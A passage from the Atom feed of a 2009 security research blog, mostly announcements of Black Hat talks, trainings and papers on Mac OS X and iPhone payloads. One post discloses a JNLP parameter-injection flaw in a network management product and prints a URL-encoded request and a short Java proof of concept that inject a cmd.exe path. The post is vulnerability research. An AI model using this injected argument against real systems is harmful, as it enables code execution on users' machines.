href="http://feedproxy.google.com/~r/NibbleSecurity/~3/BdPPp971hrc/making-owasp-appsec-2009-virtual.html" title="Making OWASP AppSec 2009 virtual" /><author><name>Luca Carettoni</name><uri>http://www.blogger.com/profile/09957564681262364569</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="16533444524732394527" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.nibblesec.org/2009/05/making-owasp-appsec-2009-virtual.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkUCRH8zeCp7ImA9WxJQF0s.&quot;"><id>tag:blogger.com,1999:blog-732257695511948254.post-6474928143526056131</id><published>2009-05-07T15:48:00.000-07:00</published><updated>2009-05-31T01:57:45.180-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-31T01:57:45.180-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="mac os x" /><category scheme="http://www.blogger.com/atom/ns#" term="black hat" /><category scheme="http://www.blogger.com/atom/ns#" term="snagg" /><title>Mac Hacking Class  and presentation at BH USA</title><content type="html">Hey, &lt;div&gt;so a bit of advertisement for me. &lt;/div&gt;&lt;div&gt;I will do a training at Black Hat USA on Mac OS X hacking, I'm really looking forward to having you as students! &lt;/div&gt;&lt;div&gt;Register yourself &lt;a href="http://www.blackhat.com/html/bh-usa-09/train-bh-usa-09-vi-mac.html"&gt;here&lt;/a&gt; &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The class will explain how to assess the security of Mac OS X from the ground up, including how to deal with heap and stack exploitation, Objective-C reversing, Mach API abusing, advanced payload writing and differences between iPhone and OSX exploitation. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Anyway if for whatever reason you can't attend my class(and in that case I'll be very sad), I'll speak with Charlie Miller at the Briefings. Here's &lt;a href="http://www.blackhat.com/html/bh-usa-09/bh-usa-09-speakers.html#Iozzo"&gt;the abstract&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Snagg&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/732257695511948254-6474928143526056131?l=blog.nibblesec.org' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.nibblesec.org/feeds/6474928143526056131/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=732257695511948254&amp;postID=6474928143526056131" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/732257695511948254/posts/default/6474928143526056131?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/732257695511948254/posts/default/6474928143526056131?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/NibbleSecurity/~3/mzc6_FUqS2A/mac-hacking-class-and-presentation-at.html" title="Mac Hacking Class  and presentation at BH USA" /><author><name>Vincenzo Iozzo</name><uri>http://www.blogger.com/profile/18420483741962419213</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="05787960571592610685" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.nibblesec.org/2009/05/mac-hacking-class-and-presentation-at.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkUARn4_eCp7ImA9WxJQF0s.&quot;"><id>tag:blogger.com,1999:blog-732257695511948254.post-5925767078953023479</id><published>2009-04-24T05:11:00.000-07:00</published><updated>2009-05-31T01:57:27.040-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-31T01:57:27.040-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="mac os x" /><category scheme="http://www.blogger.com/atom/ns#" term="iphone" /><category scheme="http://www.blogger.com/atom/ns#" term="black hat" /><category scheme="http://www.blogger.com/atom/ns#" term="snagg" /><title>iPhone, Mobile Security and Osx</title><content type="html">Hey guys, &lt;div&gt;so back with some updates on my research. First of all I gave a talk with Charlie Miller on iPhone and OSX payloads at Black Hat Europe.&lt;br /&gt;Here are a few links: &lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.blackhat.com/presentations/bh-europe-09/Miller_Iozzo/BlackHat-Europe-2009-Miller-Iozzo-OSX-IPhone-Payloads-whitepaper.pdf"&gt;White paper&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://media.blackhat.com/bh-europe-09/video/black-hat-europe-09-miller-iozzo-osx-iphone.m4v"&gt;Video&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;The slides will be available soon. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;In May I'm going to join Jeff Moss and a bunch of really cool people in the next Black Hat webcast: &lt;a href="https://event.on24.com/eventRegistration/EventLobbyServlet?target=registration.jsp&amp;amp;eventid=143110&amp;amp;sessionid=1&amp;amp;key=A4D4664884F553531526F2CA7976DD9D&amp;amp;sourcepage=register"&gt;Mobility and Security&lt;/a&gt;. I hope all of you will register and join the round table. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;One last appointment, if anyone wants to meet, I'll be speaking at &lt;a href="http://eusecwest.com/"&gt;EuSecWest&lt;/a&gt; in London at the end of May.&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt;Snagg&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/732257695511948254-5925767078953023479?l=blog.nibblesec.org' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.nibblesec.org/feeds/5925767078953023479/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=732257695511948254&amp;postID=5925767078953023479" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/732257695511948254/posts/default/5925767078953023479?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/732257695511948254/posts/default/5925767078953023479?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/NibbleSecurity/~3/nTXNujbIoGM/iphone-mobile-security-and-osx.html" title="iPhone, Mobile Security and Osx" /><author><name>Vincenzo Iozzo</name><uri>http://www.blogger.com/profile/18420483741962419213</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="05787960571592610685" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.nibblesec.org/2009/04/iphone-mobile-security-and-osx.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkEBSHc9fCp7ImA9WxJQF0s.&quot;"><id>tag:blogger.com,1999:blog-732257695511948254.post-4322102985462090419</id><published>2009-04-20T07:11:00.000-07:00</published><updated>2009-05-31T02:04:19.964-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-31T02:04:19.964-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ikki" /><category scheme="http://www.blogger.com/atom/ns#" term="java" /><title>Client side code execution via JNLP files</title><content type="html">As you may know, I'm a kind of Java enthusiast. This is especially true when a Java technology overlaps with web security.&lt;br /&gt;I was actually testing a software based on &lt;a href="http://java.sun.com/javase/technologies/desktop/javawebstart/index.jsp"&gt;Java Web Start&lt;/a&gt; when I've realized how practical (and dangerous) may be this technology. The overall idea of Java Web Start is to deploy and execute Java standalone client, directly from the Internet using a web browser. Unlike Java Applets, Web Start applications do not have all the limitations enforced by the sandbox.&lt;br /&gt;&lt;br /&gt;Specifically I was testing &lt;a href="http://www.entuity.com/products/eye-of-the-storm.html"&gt;Eye of the Storm&lt;/a&gt;, a network management software composed by several server side components as well as a nice Web Start application. A CGI program &lt;span style="font-family:courier new;"&gt;/EOS/cgi/EYELauncher&lt;/span&gt; generates personalized JNLP files so that Java Web Start can invoke a standalone Java application with the proper parameters and configuration.&lt;br /&gt;Besides other usual issues, I've discovered a way to trigger client side code execution via a tampered JNLP file. Thinking about a real-world attack scenario, an aggressor could convince a user to follow a malicious link which abuse the online CGI in order to generate malicious JNLP files. Since the CGI does not properly filter the input, it is possible to pollute the JNLP file content.&lt;br /&gt;&lt;br /&gt;A simple GET request, as the following&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;http://&lt;ip&gt;/EOS/cgi/EYELauncher?%2d%2d%75%73%65%72%3d%61%61%61%3b%2d%2d%68%6f%73%74%3d%61%61%61%3b%2d%2d%68%74%74%70&lt;/ip&gt;&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;%50%72%6f%74%6f%63%6f%6c%3d%66%69%6c%65%3a%2f%2f%2f%43%3a%5c%5c%57%49%4e%4e%54%5c%5c%73%79%73%74%65%6d%33%32%5c%5c%63&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;%6d%64%2e%65%78%65%3f&lt;/span&gt;&lt;br /&gt;will cause the inclusion of user-supplied parameters in &lt;span style="font-family:courier new;"&gt;com.entuity.eos.client.startup.EYELauncher.main(String args[])&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;In particular circumstances, the application may invoke the&lt;span style="font-family:courier new;"&gt; executeEYEClient(String, String, String, String, String) &lt;/span&gt;method, which can be used to exploit a vulnerable&lt;span style="font-family:courier new;"&gt; com.entuity.util.BrowserLauncher.openURL(String)&lt;/span&gt; method executing the well-known&lt;span style="font-family:courier new;"&gt; Runtime.getRuntime().exec()&lt;/span&gt;call.&lt;br /&gt;The execution of the vulnerable method is triggered by an exception while the &lt;span style="FONT-STYLE: italic"&gt;Main&lt;/span&gt; method runs. EYELauncher handles this specific exception by requesting a new JNLP file from the server, using the insecure "openURL" call.&lt;br /&gt;&lt;br /&gt;To locally test the vulnerability, just use the following code:&lt;span style="FONT-STYLE: italic"&gt;&lt;/span&gt;&lt;br /&gt;&lt;blockquote  style="font-family:courier new;"&gt;&lt;span style="font-size:85%;"&gt;import com.entuity.eos.client.startup.EYELauncher;&lt;br /&gt;&lt;br /&gt;public class EOTS_poc1 {&lt;br /&gt;public static void main(String[] args) {&lt;br /&gt;String arguments[]={"--user=aaa","--host=aaa","--httpProtocol=file:///C:\\WINNT\\system32\\cmd.exe?"};&lt;br /&gt;EYELauncher.main(arguments);&lt;br /&gt;}}&lt;/span&gt;&lt;/blockquote&gt;Unfortunately, I was not able to find a reliable way to trigger the exception, thus the exploitability of this finding is likely low. However, at least in my humble opinion, it is a nice demonstration of &lt;em style="FONT-WEIGHT: bold"&gt;one-click code execution&lt;/em&gt;.&lt;br /&gt;&lt;br /&gt;In addition to the usual stuff (XSS, ActiveX exploits and so on), let's not forget about Java Web Start as well.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/732257695511948254-4322102985462090419?l=blog.nibblesec.org' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.nibblesec.org/feeds/4322102985462090419/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=732257695511948254&amp;postID=4322102985462090419" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/732257695511948254/posts/default/4322102985462090419?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/732257695511948254/posts/default/4322102985462090419?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/NibbleSecurity/~3/Gw1g_nQqhro/client-side-code-execution-via-jnlp.html" title="Client side code execution via JNLP files" /><author><name>Luca Carettoni</name><uri>http://www.blogger.com/profile/09957564681262364569</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="16533444524732394527" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.nibblesec.org/2009/04/client-side-code-execution-via-jnlp.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkEDQ34-fyp7ImA9WxJQF0s.&quot;"><id>tag:blogger.com,1999:blog-732257695511948254.post-6982467736478165307</id><published>2009-04-02T13:40:00.000-07:00</published><updated>2009-05-31T02:04:32.057-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-31T02:04:32.057-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ikki" /><category scheme="http://www.blogger.com/atom/ns#" term="tomcat" /><title>IT Underground and TomcatZOO</title><content type="html">Finally, it is my turn! I really enjoy the idea of sharing my thoughts here.&lt;br /&gt;&lt;br /&gt;Since &lt;span style="FONT-WEIGHT: bold"&gt;NibbleSec&lt;/span&gt; is a multi-author blog, I'm not going to bore you with low-level stuff - &lt;span style="FONT-STYLE: italic"&gt;Snagg&lt;/span&gt; is just enough!&lt;br /&gt;&lt;br /&gt;For fun (and profit) I'm usually involved in web application pentests and lately in Java security. It is a kind of fun and this is usually the easiest way to get a shell in these days.&lt;br /&gt;&lt;br /&gt;I'm just back after &lt;a href="http://www.itunderground.org/prt/view/scheduleprague.html"&gt;IT Underground Prague&lt;/a&gt; where I gave a speech about Apache Tomcat security and TomcatZOO, one of the first NibbleSec project. While waiting for the release of the tool, you may enjoy the &lt;a href="http://www.ikkisoft.com/stuff/TomcatSec_LucaCarettoni.pdf"&gt;presentation&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Ikki&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/732257695511948254-6982467736478165307?l=blog.nibblesec.org' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.nibblesec.org/feeds/6982467736478165307/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=732257695511948254&amp;postID=6982467736478165307" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/732257695511948254/posts/default/6982467736478165307?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/732257695511948254/posts/default/6982467736478165307?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/NibbleSecurity/~3/rISgOq-nycA/it-underground-and-tomcatzoo.html" title="IT Underground and TomcatZOO" /><author><name>Luca Carettoni</name><uri>http://www.blogger.com/profile/09957564681262364569</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="16533444524732394527" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.nibblesec.org/2009/03/it-underground-and-tomcatzoo.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkcHQHs4eyp7ImA9WxJQF0s.&quot;"><id>tag:blogger.com,1999:blog-732257695511948254.post-9171380702913921686</id><published>2009-03-16T07:24:00.000-07:00</published><updated>2009-05-31T01:53:51.533-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-31T01:53:51.533-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="mac os x" /><category scheme="http://www.blogger.com/atom/ns#" term="black hat" /><category scheme="http://www.blogger.com/atom/ns#" term="snagg" /><title>Let your Mach-o fly round-up</title><content type="html">Hey all, &lt;div&gt;this is my first blog post for Nibblesec. So I decided to start from what I did in the last couple of months. &lt;/div&gt;&lt;div&gt;I was mainly involved in some research on OS X. Specifically a way to create a userland execve() on Mac OS X. &lt;/div&gt;&lt;div&gt;So if you are interested in it, here are a few links that might help you: &lt;/div&gt;&lt;div&gt;&lt;a href="https://www.blackhat.com/presentations/bh-dc-09/Iozzo/BlackHat-DC-09-Iozzo-let-your-mach0-fly-whitepaper.pdf"&gt;White paper&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="https://www.blackhat.com/presentations/bh-dc-09/Iozzo/BlackHat-DC-09-Iozzo-Macho-on-the-fly.pdf"&gt;Slides&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="https://www.blackhat.com/presentations/bh-dc-09/Iozzo/macho-on-the-fly.zip"&gt;Poc code&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;And finally a &lt;a href="https://media.blackhat.com/bh-dc-09/video/Iozzo/demo.avi"&gt;nice video&lt;/a&gt; I made on my technique and Safari.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I'll be speaking with Charlie Miller about In-memory attacks at &lt;a href="https://www.blackhat.com/html/bh-europe-09/bh-eu-09-speakers.html#CMiller"&gt;Black Hat Europe 2009&lt;/a&gt;. I'm looking forward to meeting you there. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Snagg&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/732257695511948254-9171380702913921686?l=blog.nibblesec.org' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.nibblesec.org/feeds/9171380702913921686/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=732257695511948254&amp;postID=9171380702913921686" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/732257695511948254/posts/default/9171380702913921686?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/732257695511948254/posts/default/9171380702913921686?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/NibbleSecurity/~3/lqwbfmMnBwk/let-your-mach-o-fly-round-up.html" title="Let your Mach-o fly round-up" /><author><name>Vincenzo Iozzo</name><uri>http://www.blogger.com/profile/18420483741962419213</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="05787960571592610685" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.nibblesec.org/2009/03/let-your-mach-o-fly-round-up.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkYGSHoyeip7ImA9WxJQF0s.&quot;"><id>tag:blogger.com,1999:blog-732257695511948254.post-7394707900489185086</id><published>2009-03-15T14:36:00.000-07:00</published><updated>2009-05-31T01:55:29.492-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-31T01:55:29.492-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ikki" /><category scheme="http://www.blogger.com/atom/ns#" term="daath" /><category scheme="http://www.blogger.com/atom/ns#" term="blackfire" /><category scheme="http://www.blogger.com/atom/ns#" term="snagg" /><title>3, 2, 1... In Mission</title><content type="html">Hello Internet,&lt;br /&gt;this is our first post, so stop wondering "who the hell are these NibbleSec guys".&lt;br /&gt;We'll start answering a couple of questions.&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;We're not a commercial entity&lt;/li&gt;&lt;br /&gt;&lt;li&gt;We're not a ub3r3l33t black-hat crew&lt;/li&gt;&lt;br /&gt;&lt;li&gt;We're not a new initiative the internet really does not need&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;NibbleSec is just a label on a team of four friends who live in the Information Security world, and that's it.&lt;br /&gt;We're going to use this blog as a launchpad for some of our researches, publishing tools and insights. There are plenty of similar blogs around the net, so here's our personal version.&lt;br /&gt;&lt;br /&gt;We have some nice things in the oven, so stay tuned because we're going to serve a couple of hot dishes in a while!&lt;br /&gt;&lt;br /&gt;Oh, we were almost forgetting this one: you might be interested in knowing who's behind NibbleSec.org !?&lt;br /&gt;No problem, here you are: &lt;a href="http://blackfire.soup.io/"&gt;BlackFire&lt;/a&gt;, Daath, &lt;a href="http://www.ikkisoft.com/"&gt;Ikki&lt;/a&gt; and &lt;a href="http://snagg.soup.io/"&gt;Snagg&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;See you soon in the next post!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/732257695511948254-7394707900489185086?l=blog.nibblesec.org' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.nibblesec.org/feeds/7394707900489185086/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=732257695511948254&amp;postID=7394707900489185086" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/732257695511948254/posts/default/7394707900489185086?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/732257695511948254/posts/default/7394707900489185086?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/NibbleSecurity/~3/-bLaTjw4Ulo/3-2-1-in-mission.html" title="3, 2, 1... In Mission" /><author><name>Claudio Criscione</name><uri>http://www.blogger.com/profile/12202628660778574382</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="02490522152931367543" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.nibblesec.org/2009/03/3-2-1-in-mission.html</feedburner:origLink></entry></feed>
